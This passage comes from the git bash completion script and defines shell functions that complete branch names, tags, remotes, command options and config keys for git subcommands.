|| b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse --verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) __gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= --smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread 